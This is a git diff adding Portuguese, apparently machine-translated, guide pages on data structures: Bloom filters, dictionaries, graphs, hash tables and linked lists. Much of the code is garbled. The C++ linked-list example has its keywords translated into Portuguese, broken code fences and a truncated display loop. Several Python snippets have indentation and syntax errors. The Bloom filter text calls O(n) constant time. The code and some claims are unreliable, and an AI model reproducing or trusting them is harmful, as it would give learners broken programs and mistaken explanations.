+["A Gentler Introduction to Programming", de Matt Adesanya,](https://medium.freecodecamp.org/a-gentler-introduction-to-programming-707453a79ee8) abrange compiladores versus intérpretes, juntamente com outros conceitos básicos de programação.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-mining/index.md b/client/src/guide/portuguese/computer-science/data-mining/index.md
new file mode 100644
index 0000000000..382f4b1335
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-mining/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Mining
+localeTitle: Mineração de dados
+---
+## Mineração de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/bloom-filter/index.md b/client/src/guide/portuguese/computer-science/data-structures/bloom-filter/index.md
new file mode 100644
index 0000000000..ceff90e103
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/bloom-filter/index.md
@@ -0,0 +1,39 @@
+---
+title: Bloom Filter
+localeTitle: Filtro Bloom
+---
+## Descrição
+
+Um filtro Bloom é uma estrutura de dados semelhante a um conjunto. O filtro Bloom permite a pergunta _. Este item é um membro do conjunto?_ para ser respondido rapidamente. O filtro nunca retornará _Não_ se o item estiver no conjunto; mas, pode retornar _Sim_ se o item não estiver no conjunto. Esta é uma desvantagem de usar um filtro Bloom, há uma chance de resultados positivos falsos ao verificar se um item está no conjunto. Uma vantagem em usar um filtro Bloom é que adicionar um item ao conjunto e verificar se o item está no conjunto é uma operação [O (n) de](https://guide.freecodecamp.org/algorithms/algorithm-performance) tempo constante.
+
+## Exemplo
+
+O exemplo a seguir usa um filtro Bloom para criar uma lista de amigos. A implementação de exemplo usa três [funções de hashing](https://guide.freecodecamp.org/miscellaneous/hash-tables-and-hashing-functions) . As funções de hashing ingerem uma string (um nome de amigo) e calculam um valor único para a string com base no número de pontos no filtro Bloom.
+
+Crie o filtro como uma matriz de 10 índices. Um `0` indica que nenhum item está nesse índice.
+
+`[0,0,0,0,0,0,0,0,0,0]`
+
+Um usuário adiciona David à lista de amigos. A string ( `'David'` ) é colocada através de várias funções de hashing que retornam `0` , `4` e `8` , respectivamente. Os valores das funções de hashing são usados ​​para atualizar a matriz de filtros nesses índices.
+
+Os índices de filtro são atualizados usando esses valores em hash. Um `1` indica que um item foi adicionado nesse índice.
+
+`[1,0,0,0,1,0,0,0,1,0]`
+
+Um usuário adiciona Rosie à lista de amigos. As funções hash retornam `3` , `4` e `6` para `'Rosie'` . Os índices de filtro são atualizados usando os valores de hash.
+
+`[1,0,0,1,1,0,1,0,1,0]`
+
+Há um cheque se Chuck for um membro da lista de amigos. A string `'Chuck'` é colocada através das funções de hashing retornando `1` , `3` e `6` . Quando a matriz de filtros é marcada nesses índices, ela retorna `0` , `1` e `1` . Como um índice tem um valor `0` , Chuck _definitivamente_ não é um membro da lista.
+
+Há uma verificação se Maja é um membro da lista de amigos. A string `'Maja'` é colocada através das funções de hashing, retornando `0` , `6` e `8` . Quando a matriz de filtros é verificada nesses índices, ela retorna `1` , `1` e `1` . Como todos os três índices têm um valor de `1` , Maja já _pode_ ser um membro da lista. Este é um resultado falso positivo.
+
+## Considerações
+
+Os filtros Bloom permitem uma rápida pesquisa para determinar se um valor é _possivelmente_ um membro do conjunto ou _definitivamente_ não é um membro do conjunto. Quanto mais itens adicionados ao filtro Bloom, a taxa de resultados positivos falsos ao verificar se um item é um membro do conjunto aumentará. Uma maneira de diminuir a taxa de resultados falso-positivos é aumentar o tamanho da matriz. Embora isso seja um compromisso, quanto maior o array, maior será a memória. É necessário determinar uma taxa aceitável de resultados falsos positivos para um determinado tamanho de matriz.
+
+## Leitura Adicional
+
+[Algoritmo de pós-recomendação do Medium](https://blog.medium.com/what-are-bloom-filters-1ec2a50c68ff)
+
+[Wikipedia nos filtros Bloom](https://en.wikipedia.org/wiki/Bloom_filter)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/dictionaries/index.md b/client/src/guide/portuguese/computer-science/data-structures/dictionaries/index.md
new file mode 100644
index 0000000000..4e7db90f2f
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/dictionaries/index.md
@@ -0,0 +1,215 @@
+---
+title: Dictionaries
+localeTitle: Dicionários
+---
+## Dicionários
+
+Vamos supor que temos uma lista homogênea. Queremos contar quantas vezes cada item ocorre na lista. Como podemos fazer isso, sem usar os métodos internos do Python, como count ou Counter, do módulo de coleções do Python? Uma pesquisa no Google por "Como contar as ocorrências de um item em uma lista?" retornará respostas do Stack Overflow apontando para o método count e o módulo collections, mas para fins de aprendizado vamos tentar resolver o problema sem usar essas ferramentas.
+
+Aqui está a lista com a qual vamos trabalhar:
+
+```python
+ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+```
+
+Este código, usando loops for aninhados, produz a resposta certa, armazenando a resposta na lista "count":
+
+```python
+count = [] 
+ for flavor in ice_cream: 
+  found = False 
+  for entry in count: 
+    if entry[0] == flavor: 
+      entry[1] += 1 
+      found = True 
+  if not found: 
+      count.append([flavor, 1]) 
+ 
+ # Print. 
+ for (entry, total) in count: 
+  print (entry, total) 
+```
+
+Embora este código forneça a resposta correta, há duas coisas erradas. Primeiro, é complexo. Quanto mais loops aninhados um programa contém, mais difícil é entender, corrigir e estender. Além disso, é ineficiente. Isso pode não ser um problema neste pequeno exemplo, mas imagine uma lista com milhares ou milhões de itens. Escanear a lista de entradas toda vez que fizermos uma observação demoraria muito, muito tempo, não importando a velocidade do computador. Este é um tópico abordado de forma mais completa ao estudar tópicos como notação O grande e comparar algoritmos de pesquisa e classificação.
+
+Uma resposta melhor é usar outra estrutura de dados conhecida como **dicionário** ou **mapa** . Essa estrutura de dados é uma coleção _mutável e desordenada_ de pares _chave / valor_ . Pense em um dicionário como uma agenda telefônica, em que a chave é o nome da pessoa e o valor é o número do telefone. As chaves em um dicionário formam um conjunto, o que significa que elas só podem aparecer uma vez e não podem ser alteradas (são imutáveis), embora os valores associados a uma chave possam ser alterados.
+
+Dicionários são criados colocando pares de chave / valor dentro de chaves. Para obter o valor associado a uma chave, coloque a chave entre colchetes.
+
+Aqui estão alguns exemplos de código:
+
+```python
+ice_cream = {'chocolate' : 3, 'strawberry' : 1} 
+ print (ice_cream) 
+ >> {'chocolate' : 3, 'strawberry' : 1} 
+ print (ice_cream['strawberry']) 
+ >> 1 
+```
+
+Para testar se uma chave está em um dicionário, use k in d:
+
+```python
+ice_cream = {'chocolate' : 3, 'strawberry' : 1} 
+ if 'chocolate' in ice_cream: 
+    print ('chocolate is in the list') 
+ ... 
+ 
+ del ice_cream['chocolate'] 
+ if 'chocolate' in ice_cream: 
+    print ('oops: why is chocolate still there?') 
+```
+
+**Atualização e Filiação** Para atualizar dicionários, basta atribuir um valor a uma chave. Se a chave já estiver no dicionário, isso alterará o valor associado a ela.
+
+Se a chave não estava presente, ela é adicionada junto com o valor:
+
+```python
+ice_cream = {} 
+ ice_cream['chocolate'] = 33 
+ ice_cream['vanilla'] = 999 # oops 
+ print (ice_cream) 
+ >> {'chocolate' : 33, vanilla' : 999} 
+ ice_cream['vanilla'] = 9 
+ print (ice_cream) 
+ >> {'chocolate' : 33, vanilla' : 9} 
+```
+
+Use _del d \[k\]_ para remover uma entrada de um dicionário, onde _d_ é o nome do dicionário _ek_ é a chave que está sendo removida. Somente entradas presentes podem ser removidas; tentar remover um que não está lá causa um erro:
+
+```python
+ice_cream = {'chocolate' : 33, vanilla' : 9} 
+ del ice_cream['chocolate'] 
+ print (ice_cream) 
+ >> {'vanilla' : 9} 
+ del ice_cream['strawberry'] 
+ >> Traceback (most recent call last): 
+   File "<stdin>", line 5, in <module> 
+   KeyError: 'strawberry' 
+```
+
+**rotações** Como os dicionários são coleções (junto com listas, tuplas e conjuntos), vamos querer passar por cima deles conteúdo. Fazemos isso com um loop for, que atribui cada uma das chaves no dicionário à variável de loop por vez:
+
+```python
+ice_cream = {'chocolate' : 183, 
+             'vanilla' : 71, 
+             'strawberry' : 63, 
+             'banana', 1} 
+ for flavor in ice_cream: 
+  print (flavor, ice_cream[flavor]) 
+ 
+ >> 'banana' 1 
+   'vanilla' 71 
+   'chocolate' 183 
+   'strawberry' 63 
+```
+
+Como nos elementos de conjunto, o Python faz um loop sobre as entradas no dicionário em uma ordem arbitrária. Não há garantia de que eles serão vistos em ordem alfabética ou na ordem, eles foram adicionados ao dicionário. Observe, a propósito, que o loop nos dicionários é um pouco diferente do looping das listas. Quando o Python faz um loop em uma lista, os valores na lista são atribuídos à variável de loop. Por outro lado, quando faz um loop sobre um dicionário, ele atribui as chaves. Os designers do Python escolheram fazer isso porque:
+
+*   looping sobre os índices de uma lista não é muito interessante, uma vez que o o programa sempre obteria a sequência 0, 1, 2,…; e
+*   é muito mais fácil ir de uma chave de dicionário para o valor associado do que é pegar o valor e encontrar a chave associada.
+
+**Métodos de dicionário** Dicionários são objetos, assim como listas, tuplas e conjuntos. Alguns métodos de dicionário comuns são:
+
+*   _d.clear ()_ - limpar um dicionário
+*   _d.get (x, 99)_ - Retorna o valor associado a uma chave ou um valor padrão se a chave não estiver presente.
+*   _d.keys ()_ - chaves de retorno
+*   _d.items ()_ - lista de retorno de chave, pares de valores
+*   _d.values ​​()_ - retorna valores como uma lista, os valores podem não ser exclusivos
+*   _d.update ()_ - atualiza o dicionário com o conteúdo de outro
+
+Um uso comum de itens é fazer um loop entre as chaves e os valores em um dicionário juntos: para (chave, valor) em dictionary.items (): … Faça algo com a chave e valor…
+
+Isso é ineficiente para grandes dicionários, pois items () realmente constrói uma lista de pares (chave, valor). Um método semelhante chamado _iteritems ()_ entrega esses pares de volta um a um sob demanda: para (chave, valor) em dictionary.iteritems (): … Faça algo com a chave e valor…
+
+Vamos voltar ao exemplo original - como podemos contar o número de itens na lista ice\_cream usando um dicionário?
+
+```python
+# Count all the flavors. 
+ ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+ 
+ count = {} 
+ for flavor in ice_cream: 
+  if flavor in count: 
+    count[flavor] = count[flavor] + 1 
+  else: 
+    count[flavor] = 1 
+ 
+ # Print. 
+ for b in count: 
+  print (b, count[b]) 
+```
+
+Para fazer isso, criamos um dicionário que está inicialmente vazio. Cada vez que percorremos a lista ice\_cream, verificamos para ver se esse sabor já está no dicionário de contagem. Se for, adicionamos um à sua contagem. Se não for, adicionamos o nome ao dicionário com o valor 1.
+
+Podemos encurtar este programa usando o método _dict.get ()_ . Isso retorna o valor associado a uma chave ou algum valor padrão que fornecemos. Nesse caso, obtemos o número de vezes que já vimos um sabor ou zero, adicionamos um ao valor que o método retorna e o armazenamos de volta no dicionário:
+
+```python
+# Count all the flavors. 
+ count = {} 
+ for flavor in ice_cream: 
+  count[flavor] = count.get(flavor, 0) + 1 
+ 
+ # Print. 
+ keys = count.keys() 
+ keys.sort() 
+ for b in keys: 
+  print (b, count[b]) 
+ 
+ # Print. 
+ for key in sorted(count): 
+  print (key, count[key]) 
+```
+
+Observe que estamos usando duas maneiras separadas para imprimir a chave e o valor: um usa o método classificado do Python e o outro não.
+
+Se quisermos imprimir os sabores em ordem de frequência, precisamos **inverter o dicionário** . Isso significa que precisamos usar os valores como chaves e as chaves como valores. Como não há garantia de que os valores sejam únicos, precisamos tomar medidas para evitar _colisões_ .
+
+A solução é usar algum tipo de coleção, como uma lista, para armazenar os valores do dicionário invertido. Se seguirmos esse caminho, o inverso do dicionário mostrado anteriormente seria {1: \['a', 'b', 'c'\]}. Aqui está um programa para fazer o que queremos:
+
+```python
+ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+ 
+ # Count all the flavors. 
+ count = {} 
+ for flavor in ice_cream: 
+  count[flavor] = count.get(flavor, 0) + 1 
+ 
+ # Invert the dictionary. 
+ freq = {} 
+ for (flavor, times) in count.items(): 
+  if times in freq: 
+    freq[times].append(flavor) 
+  else: 
+    freq[times] = [flavor] 
+ 
+ # Print. 
+ for key in freq: 
+  for flavor in sorted(freq[key]): 
+    print (key,":", " ", flavor) 
+```
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/graphs/index.md b/client/src/guide/portuguese/computer-science/data-structures/graphs/index.md
new file mode 100644
index 0000000000..16007d849c
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/graphs/index.md
@@ -0,0 +1,47 @@
+---
+title: Graphs
+localeTitle: Gráficos
+---
+## Gráficos
+
+Um gráfico é uma estrutura de dados que você pode usar para resolver problemas de roteamento, como "Esses dois componentes estão conectados?" e "Qual é o caminho mais curto do ponto a para b?"
+
+Um gráfico consiste em nós e arestas. Um nó (isto é, vértice) é um objeto em seu gráfico. Um nó pode conter informações como o nome do nó e quais bordas ele está anexado. Uma aresta é um link que conecta dois nós. A borda pode conter informações como o peso da borda. Se dois nós estiverem conectados por uma aresta, eles são vizinhos (isto é, adjacentes).
+
+Dependendo do problema, você pode usar arestas bidirecionais (não direcionadas) ou unidirecionais (direcionadas). Se você tem uma borda não dirigida de a para b, há também um caminho de b para a. Se você tiver uma borda direcionada de a para b, não há necessariamente uma borda de b para a.
+
+Você pode usar gráficos para formular situações como:
+
+*   Mapas geográficos
+*   Cada cidade em seu país é um nó
+*   Se duas cidades estão ligadas por uma estrada, há uma vantagem entre elas \* Estradas podem ser de uma ou duas vias (ambas as arestas direcionadas e não direcionadas) \* o peso pode ser o comprimento da estrada
+*   Fluxo de água
+    *   Cada comporta é um nó
+    *   Cada canal é uma vantagem
+        *   a água fluirá somente em uma direção para que as bordas sejam direcionadas
+        *   o peso pode ser a capacidade máxima de água do fluxo
+
+Exemplo: um gráfico que tem como nós as capitais dos países nórdicos e como (não direcionado) limita a distância de condução às cidades conectadas por estrada direta.
+```
+.     +---------+ 
+ .     |Reykjavik| 
+ .     +---------+ 
+ . 
+ . 
+ .         529 km   +---------+  1760 km  +--------+ 
+ .    +------------+|Stockholm|+---------+|Helsinki| 
+ .    |             +---------+           +--------+ 
+ .    +                                        + 
+ . +----+                    1991 km           | 
+ . |Oslo|+-------------------------------------+ 
+ . +----+ 
+ .         +----------+ 
+ .         |Copenhagen| 
+ .         +----------+ 
+```
+
+#### Mais Informações:
+
+[Largura da Primeira Pesquisa (BFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[Primeira pesquisa de profundidade (DFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/hash-tables/index.md b/client/src/guide/portuguese/computer-science/data-structures/hash-tables/index.md
new file mode 100644
index 0000000000..eed80508d3
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/hash-tables/index.md
@@ -0,0 +1,127 @@
+---
+title: Hash Tables
+localeTitle: Tabelas de hash
+---
+## Tabelas de hash
+
+Tabela de hash (ou Mapa de hash) é uma estrutura de dados que pode mapear chaves para valores. Uma tabela de hash usa uma função de hash para calcular um índice em uma matriz de buckets, a partir dos quais os valores desejados podem ser encontrados. A complexidade temporal de uma função Hash bem definida pode ser O (1).
+
+Uma tabela de hash (mapa de hash) é uma estrutura de dados que implementa um tipo de dados abstrato de matriz associativa, uma estrutura que pode mapear chaves para valores. Uma tabela de hash usa uma função hash para calcular um índice em uma matriz de blocos ou slots, a partir dos quais o valor desejado pode ser encontrado.
+
+![um exemplo de uma tabela de hash](https://github.com/TomerPacific/fccGuideImages/blob/master/315px-Hash_table_3_1_1_0_1_0_0_SP.svg.png?raw=true)
+
+Algumas propriedades importantes da tabela de hash - 1) Os valores não são armazenados na ordem classificada. 2) Em uma tabela de hash, é preciso também lidar com possíveis colisões. Isso geralmente é feito por encadeamento, o que significa criar uma lista encadeada de todos os valores cujas chaves mapeiam para um índice específico.
+
+Implementação da tabela de hash
+
+Uma tabela de hash é tradicionalmente implementada com uma matriz de listas vinculadas. Quando queremos inserir um par chave / valor, mapeamos a chave para um índice na matriz usando a função hash. O valor é então inserido na lista vinculada nessa posição.
+
+A idéia do hashing é distribuir as entradas (pares chave / valor) em uma matriz de blocos. Dada uma chave, o algoritmo calcula um índice que sugere onde a entrada pode ser encontrada:
+```
+index = f(key, array_size) 
+```
+
+Muitas vezes isso é feito em duas etapas:
+```
+hash = hashfunc(key) 
+ index = hash % array_size 
+```
+
+Nesse método, o hash é independente do tamanho da matriz e é então reduzido a um índice (um número entre 0 e array\_size - 1) usando o operador de módulo (%).
+
+Vamos considerar a string S. Você é obrigado a contar a freqüência de todos os caracteres nesta string.
+```
+string S = “ababcd” 
+```
+
+A maneira mais simples de fazer isso é fazer uma iteração de todos os caracteres possíveis e contar sua frequência um por um. A complexidade temporal desta abordagem é O (26 \* N), onde N é o tamanho da string e existem 26 caracteres possíveis.
+```
+void countFre(string S) 
+    { 
+        for(char c = 'a';c <= 'z';++c) 
+        { 
+            int frequency = 0; 
+            for(int i = 0;i < S.length();++i) 
+                if(S[i] == c) 
+                    frequency++; 
+            cout << c << ' ' << frequency << endl; 
+        } 
+    } 
+```
+
+Saída
+```
+a 2 
+ b 2 
+ c 1 
+ d 1 
+ e 0 
+ f 0 
+ … 
+ z 0 
+```
+
+Vamos aplicar o hashing a esse problema. Tome uma freqüência de matriz de tamanho 26 e hash os 26 caracteres com índices da matriz usando a função de hash. Em seguida, itere a string e aumente o valor na frequência no índice correspondente para cada caractere. A complexidade dessa abordagem é O (N), onde N é o tamanho da string.
+```
+int Frequency[26]; 
+ 
+    int hashFunc(char c) 
+    { 
+        return (c - 'a'); 
+    } 
+ 
+    void countFre(string S) 
+    { 
+        for(int i = 0;i < S.length();++i) 
+        { 
+            int index = hashFunc(S[i]); 
+            Frequency[index]++; 
+        } 
+        for(int i = 0;i < 26;++i) 
+            cout << (char)(i+'a') << ' ' << Frequency[i] << endl; 
+    } 
+```
+
+Saída
+```
+a 2 
+ b 2 
+ c 1 
+ d 1 
+ e 0 
+ f 0 
+ … 
+ z 0 
+```
+
+### Colisões de hash
+
+Quando você está usando um mapa de hash, você tem que assumir que as colisões de hash são inevitáveis, já que você estará usando um mapa de hash que é significativamente menor em tamanho do que a quantidade de dados que você tem. As duas principais abordagens para resolver essas colisões são encadeamento e endereçamento aberto.
+
+#### Encadeamento
+
+Uma maneira de resolver colisões de hash é usando o encadeamento. O que isso significa é para cada mapeamento de valor-chave na tabela de hash, o campo de valor não conterá apenas uma célula de dados, mas uma lista de dados vinculados. No exemplo mostrado na imagem abaixo, você pode ver que Sandra Dee é adicionada como outro elemento na chave 152 depois de John Smith.
+
+![um exemplo de encadeamento em uma tabela de hash](https://github.com/TomerPacific/fccGuideImages/blob/master/620px-Hash_table_5_0_1_1_1_1_0_LL.svg.png?raw=true)
+
+O maior revés em relação ao encadeamento é o aumento da complexidade do tempo. Isso significa que, em vez das propriedades O (1) de uma tabela hash regular, cada ação levará mais tempo, já que precisamos percorrer a lista vinculada.
+
+#### Endereçamento Aberto
+
+Outra maneira de resolver colisões de hash é usando o endereçamento aberto. Neste método, uma vez que um valor é mapeado para uma chave que já está ocupada, você se move ao longo das teclas adjacentes da tabela de hash de uma determinada forma predeterminada, até encontrar uma chave com um valor vazio. No exemplo mostrado na imagem abaixo, Sandra Dee é mapeada para a chave 153, mesmo que seu valor seja mapeado para 152.
+
+![um exemplo de endereçamento aberto em uma tabela de hash](https://github.com/TomerPacific/fccGuideImages/blob/master/380px-Hash_table_5_0_1_1_1_1_0_SP.svg.png?raw=true)
+
+O maior revés do endereçamento aberto reside no fato de que, ao precisar procurar valores, eles podem não estar no lugar que você espera que eles sejam (o mapeamento de chaves). Portanto, você tem que percorrer partes da tabela de hash para encontrar o valor que está procurando, resultando em maior complexidade de tempo.
+
+#### Complexidade do Tempo
+
+É muito importante notar que as tabelas de hash têm uma complexidade constante amortizada, ou seja, em um caso médio, a complexidade será O (1). No pior dos casos, se muitos elementos foram divididos na mesma chave, pode ter uma complexidade de tempo de O (n).
+
+### Mais Informações:
+
+[Mais informações sobre tabelas de hash - Wiki](https://en.wikipedia.org/wiki/Hash_table) [Comparação entre a tabela de hash e o mapa STL](http://www.geeksforgeeks.org/hash-table-vs-stl-map/)
+
+#### Fonte
+
+[Noções básicas de tabelas de hash - HackerEarth](https://www.hackerearth.com/practice/data-structures/hash-tables/basics-of-hash-tables/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/index.md b/client/src/guide/portuguese/computer-science/data-structures/index.md
new file mode 100644
index 0000000000..27c53d71db
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/index.md
@@ -0,0 +1,20 @@
+---
+title: Data Structures
+localeTitle: Estruturas de dados
+---
+## Estruturas de dados
+
+A Estrutura de Dados é uma forma de coletar e organizar dados de maneira que possamos realizar operações nesses dados de maneira efetiva. Estruturas de Dados trata da renderização de elementos de dados em termos de alguma relação, para melhor organização e armazenamento. Por exemplo, temos o nome do player de dados "Virat" e a idade 26. Aqui "Virat" é do tipo de dados String e 26 é do tipo de dados inteiro.
+
+Podemos organizar esses dados como um registro como o registro do jogador. Agora podemos coletar e armazenar os registros do jogador em um arquivo ou banco de dados como uma estrutura de dados. Por exemplo: "Dhoni" 30, "Gambhir" 31, "Sehwag" 33
+
+Em linguagem simples, as Estruturas de Dados são estruturas programadas para armazenar dados ordenados, para que várias operações possam ser executadas facilmente. Representa o conhecimento dos dados a serem organizados na memória. Deve ser projetado e implementado de tal forma que reduza a complexidade e aumente a eficiência.
+
+Na memória do computador ou seja, RAM, estruturas de dados diferentes são criadas como pilha, fila, lista de links, heaps, etc, de acordo com o requisito do programa, de modo a usar a memória de forma eficiente.
+
+#### Mais Informações:
+
+*   [Estruturas de dados](http://www.studytonight.com/data-structures/introduction-to-data-structures)
+*   [Geek para o geek](http://www.geeksforgeeks.org/data-structures/)
+*   [Ponto de tutoriais](https://www.tutorialspoint.com/data_structures_algorithms/data_structure_overview.htm)
+*   [Estruturas de dados](http://www.studytonight.com/data-structures/introduction-to-data-structures)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/linked-lists/index.md b/client/src/guide/portuguese/computer-science/data-structures/linked-lists/index.md
new file mode 100644
index 0000000000..731a6cdc36
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/linked-lists/index.md
@@ -0,0 +1,347 @@
+---
+title: Linked Lists
+localeTitle: Listas Vinculadas
+---
+## Listas Vinculadas
+
+#### Uma Lista vinculada é uma estrutura de dados de _acesso linear_ simples.
+
+Uma lista encadeada é uma estrutura de dados simples, mas pode ser usada para implementar estruturas de dados mais complicadas, como filas, pilhas, etc. Há três tipos de listas vinculadas:
+
+1.  Lista vinculada simples
+2.  Lista Duplicada Vinculada (ou Lista Ligada Dupla Terminada)
+3.  Listas Ligadas Circulares (Ring Buffer)
+
+Lista vinculada | (Introdução) Como arrays, Linked List é uma estrutura de dados linear. Ao contrário das matrizes, os elementos da lista vinculada não são armazenados no local contíguo; os elementos são ligados usando ponteiros ou como no exemplo usando Javascript, uma referência ao próximo nó.
+
+Se você quiser entender as listas vinculadas, ajuda a entender as **matrizes** .
+
+Para recapitular, uma matriz é tradicionalmente uma estrutura de dados **linear** **estática** que suporta acesso aleatório de tempo constante. Inserções e exclusões nem sempre são constantes.
+
+Vantagens sobre matrizes 1) tamanho dinâmico 2) Facilidade de inserção / exclusão
+
+\`\` \` static = size fixed no momento da criação linear = armazenado linearmente na memória como um único bloco
+```
+#### Arrays have the following disadvantages:- 
+ 1. Arrays are static structures and therefore cannot be easily extended or reduced to fit the data set. 
+ 2. Arrays are also expensive to maintain new insertions and deletions. 
+ 
+ Linked Lists address some of the limitations of arrays. Unlike an array, where all the elements are stored in a contiguous block of memory, in a linked list each element is a separate object and has a **link** to the next element in sequence. This allows a linked list to start with space for only one element, and grow to accomodate an arbitrary number of elements by allocating memory as and when needed. 
+ 
+ Deleting elements is also simply handled by manipulating links. 
+ 
+ Once you understand the Simple Linked List (which from here on will be referred as **'List'**), you can move on to the Doubly Linked List. 
+ 
+ A List as illustrated below is made up of the following components:- 
+```
+
+```
+     head 
+         | 
+         | 
+    +---+---+     +---+---+       +----+------+ 
+    | 1  | o----->|  2  | o-----> |  3 |   φ  | 
+    +---+---+     +---+---+       +----+------+ 
+                                          | 
+                                          | 
+                                          tail 
+```
+
+```
+| Node      | Significance     | 
+ | ----------|-------------| 
+ | HEAD      | Beginning of the List| 
+ | Node(s)   | Dynamically allocated self-referential block contain 1 Data element and a link to the next node | 
+ | TAIL      | End of the List | 
+ 
+ Most common operations available on List are, 
+ 1. AddFirst - Inserts an element at the front of the List. 
+ 2. AddLast - Inserts an element at the tail of the List. 
+ 3. InsertAfter - Inserts an element after an existing element in the List. 
+ 4. InsertBefore - Inserts an element before an existing element in the List. 
+ 5. Remove - Remove an existing element from the List. 
+ 6. Access / Peek - Access an existing element from the List. 
+ 7. Size / Count - Returns the number of elements currently present in the List. 
+ 8. IsEmpty - Check whether the List is empty or not. 
+ 
+ #### Implementation of a Simple Linked List in C++ 
+```
+
+cpp
+
+# incluir
+
+usando namespace std;
+
+Número da estrutura { int num; struct Number \* tail; };
+
+typedef struct Number N;
+
+lista de classes { privado: N _cabeça,_ fim; contagem int;
+```
+public: 
+    void display(); 
+    void insertBefore(int); 
+    List(); 
+```
+
+};
+
+List :: List () { head = NULL; end = NULL; contagem = 0; }
+
+void List :: insertBefore (int dados) { N \* nó; nó = novo N; node-> num = data; node-> tail = NULL;
+```
+    if(!head){ 
+        head=end=node; 
+    } 
+ 
+    else{ 
+        node->tail=head; 
+        head=node; 
+    } 
+ 
+    count++; 
+```
+
+}
+
+void List :: display () { cout << "Número de nós na lista =" << count << endl; N \* nó; nó = cabeça; while (nó) {
+```
+    cout<<node->num<<endl; 
+    node=node->tail; 
+ 
+ } 
+```
+
+} int main () { Lista l1;
+```
+l1.insertBefore(10); 
+ l1.insertBefore(20); 
+ l1.insertBefore(30); 
+ l1.insertBefore(40); 
+ l1.insertBefore(50); 
+ l1.display(); 
+ 
+ return 0; 
+```
+
+}
+```
+#### OUTPUT 
+```
+
+Número de nós na lista = 5 50 40 30 20 10
+```
+#### Explanation 
+```
+
+cpp
+
+Número da estrutura { int num; struct Number \* tail;
+
+};
+```
+Declaration of a structure(node) with 2 data members 
+ * `num` holds the integer data value 
+ * `*tail` pointer points to the next node in the List 
+```
+
+cpp lista de classes { privado: N _cabeça,_ fim; contagem int;
+```
+public: 
+    void display(); 
+    void insertBefore(int); 
+    List(); 
+```
+
+};
+```
+The List class declares the Linked List. 
+ * `*head` points to the first node in the List 
+ * `*end` points to the last node in the List 
+ * `count` holds the value for number of nodes in the list 
+ * `display()` is used to print the complete list on the console 
+ * `insertBefore()` is used to insert a new node 
+ * `List()` is a defualt constructor 
+```
+
+cpp List :: List () { head = NULL; end = NULL; contagem = 0; }
+```
+The default constructor is used to initialize the data members of the List class with default values 
+```
+
+cpp void List :: insertBefore (int dados) { N \* nó; nó = novo N; node-> num = data; node-> tail = NULL;
+```
+    if(!head){ 
+        head=end=node; 
+    } 
+ 
+    else{ 
+        node->tail=head; 
+        head=node; 
+    } 
+ 
+    count++; 
+```
+
+}
+```
+* A new node is created. 
+ * `num` is assigned the value of `data`. 
+ * `tail` is pointing to Null. 
+ * The `if(!head)` condition is true only when there are no elements in the List. 
+ * When this is the case, `head` and `end` are both pointing to the newly created node. 
+ * Control will move to the `else` section, when there is at least one node in the list. 
+ * In this case, `tail` pointer in the newly created node is made to point to the `head`(first) node. 
+ * The `head` pointer then points to the newly created node to make it the first node in the list. 
+ * `count` is incremented by 1    as each new node is added. 
+```
+
+cpp void List :: display () { N \* nó; nó = cabeça; while (nó) { cout num <
+```
+The display function is used to run through the list and print the total number of nodes and values of `num` on the console. 
+ 
+ #### Applications 
+ * Base Data Structure for Vector, Array, Queue, Stack, etc 
+ * Polynomial Representation 
+ * Ring Buffer 
+ 
+ Drawbacks: 
+ 1) Random access is not allowed. We have to access elements sequentially starting from the first node. So we cannot do binary search with linked lists. 
+ 2) Extra memory space for a pointer is required with each element of the list 
+ 
+ 
+ Types: 
+ 1) (Singly) linked lists contain nodes which have a data field as well as a 'next' field, which points to the next node in line of nodes. Operations that can be performed on singly linked lists include insertion, deletion and traversal. 
+ 
+ 2) (Doubly) In a 'doubly linked list', each node contains, besides the next-node link, a second link field pointing to the 'previous' node in the sequence. The two links may be called 'forward('s') and 'backwards', or 'next' and 'prev'('previous'). 
+ 
+ Example in Javascript: 
+```
+
+function LinkedList () { this.head = null; this.tail = null; }
+```
+// Node has three properties value, next, prev 
+ 
+ function Node (value, next, prev) { 
+ 
+    this.value = value; 
+ 
+ // A 'pointer' referencing to the next Node (if present) otherwise null 
+ 
+    this.next = next; 
+ 
+ // A 'pointer' referencing the previous Node, otherwise null 
+ 
+    this.prev = prev; 
+ } 
+ 
+ LinkedList.prototype.addToHead = function(value) { 
+ 
+    let newNode = new Node(value, this.head, null); 
+ 
+    if (this.head) this.head.prev = newNode; 
+ 
+    else this.tail = newNode; 
+ 
+    this.head = newNode; 
+ } 
+```
+
+```
